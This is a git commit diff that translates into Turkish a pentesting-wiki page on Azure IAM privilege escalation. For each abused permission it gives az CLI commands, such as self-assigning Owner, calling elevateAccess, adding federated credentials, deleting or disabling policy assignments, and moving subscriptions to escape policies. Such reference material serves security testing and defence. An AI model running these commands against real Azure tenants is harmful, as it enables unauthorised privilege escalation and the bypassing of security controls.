Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:47:44 +00:00
parent fb3b41b864
commit ae36e08014
@@ -4,7 +4,7 @@
## Azure IAM
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için bakınız:
{{#ref}}
../az-services/az-azuread.md
@@ -12,16 +12,16 @@ Daha fazla bilgi için kontrol edin:
### Microsoft.Authorization/roleAssignments/write
Bu izin, belirli bir kapsamda prensiplere roller atamaya olanak tanır ve bir saldırganın kendisine daha yetkili bir rol atayarak ayrıcalıkları artırmasına izin verir:
Bu izin, belirli bir scope üzerinde principal'lara rol ataması yapılmasına izin verir; bu, bir saldırganın kendine daha ayrıcalıklı bir rol atayarak yetkilerini yükseltmesine olanak tanır:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Bu izin, bir rol tarafından verilen izinleri değiştirmeye olanak tanır ve bir saldırganın atadığı bir role daha fazla izin vererek ayrıcalıkları artırmasına olanak tanır.
Bu izin, bir role verilen izinleri değiştirmeye olanak tanır; bu da bir attacker'ın atadığı role daha fazla izin vererek escalate privileges gerçekleştirmesine olanak sağlar.
Aşağıdaki **içerikle** `role.json` dosyasını oluşturun:
Create the file `role.json` with the following **içerik**:
```json
{
"roleName": "<name of the role>",
@@ -36,16 +36,16 @@ Aşağıdaki **içerikle** `role.json` dosyasını oluşturun:
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Sonra rol izinlerini önceki tanımla güncelleyin:
Daha sonra rol izinlerini önceki tanımlamayı çağırarak güncelleyin:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Bu izin, ayrıcalıkları yükseltmeye ve Azure kaynaklarına herhangi bir ilkeye izin atamaya olanak tanır. Bu, Entra ID Küresel Yöneticilerine verilmesi amaçlanmıştır, böylece Azure kaynakları üzerindeki izinleri de yönetebilirler.
Bu izin, ayrıcalıkları yükseltmeye ve herhangi bir principal'e Azure resources üzerinde izin atamaya olanak tanır. Bu, Entra ID Global Administrators'a verilmek üzere tasarlanmıştır; böylece onlar Azure resources üzerindeki izinleri de yönetebilirler.
> [!TIP]
> Yükseltme çağrısının çalışması için kullanıcının Entra ID'de Küresel Yönetici olması gerektiğini düşünüyorum.
> Sanırım kullanıcının elevate çağrısının çalışması için Entra ID'de Global Administrator olması gerekiyor.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Bu izin, yönetilen kimliklere Federated kimlik bilgileri eklemeye olanak tanır. Örneğin, bir depodaki Github Actions'a bir yönetilen kimliğe erişim vermek. Ardından, **herhangi bir kullanıcı tanımlı yönetilen kimliğe** erişim sağlar.
Bu izin, managed identities'e Federated credentials eklemeyi sağlar. Örneğin bir Github repo'sundaki Github Actions'a bir managed identity için erişim vermek. Sonuç olarak, **herhangi bir kullanıcı tarafından tanımlanmış managed identity'ye erişim** sağlar.
Yönetilen bir kimliğe Github'daki bir depoya erişim vermek için örnek komut:
Bir Github repo'suna bir managed identity'ye erişim vermek için örnek komut:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Bir saldırgan, management group, subscription veya resource group üzerinde `Microsoft.Authorization/policyAssignments/write` veya `Microsoft.Authorization/policyAssignments/delete` iznine sahipse, belirli işlemleri engelleyen güvenlik kısıtlamalarını **devre dışı bırakma** ihtimaliyle **Azure policy assignments**'ı değiştirebilir veya silebilir.
Bu, daha önce politika tarafından korunan kaynaklara veya işlevselliklere erişim sağlar.
**Delete a policy assignment:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Bir politika atamasını devre dışı bırak:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Değişiklikleri doğrulayın:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
İzin `Microsoft.Authorization/policyDefinitions/write` olan bir saldırgan, **Azure policy tanımlarını değiştirebilir**, ortam genelindeki güvenlik kısıtlamalarını kontrol eden kuralları değiştirerek.
Örneğin, kaynak oluşturma için izin verilen bölgeleri kısıtlayan bir policy tanımı, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy etkisi (effect) değiştirilerek etkisiz hale getirilebilir.
**Bir policy tanımını değiştir:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Değişiklikleri doğrulayın:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Bu izne (`Microsoft.Management/managementGroups/write`) sahip bir saldırgan, **yönetim gruplarının hiyerarşik yapısını değiştirebilir** veya **yeni yönetim grupları oluşturabilir**, böylece üst seviyelerde uygulanan kısıtlayıcı politikalardan kaçabilir.
Örneğin, bir saldırgan kısıtlayıcı politikaların olmadığı yeni bir yönetim grubu oluşturabilir ve ardından abonelikleri buraya taşıyabilir.
**Yeni bir yönetim grubu oluştur:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Yönetim grubu hiyerarşisini değiştir:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Değişiklikleri doğrulayın:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Bu izne (`Microsoft.Management/managementGroups/subscriptions/write`) sahip bir saldırgan, abonelikleri yönetim grupları arasında **taşıyabilir**, aboneliği daha az kısıtlayıcı veya hiç politika olmayan bir gruba taşıyarak potansiyel olarak **kısıtlayıcı politikalardan kaçınabilir**.
**Aboneliği farklı bir yönetim grubuna taşıma:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Değişiklikleri doğrulayın:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}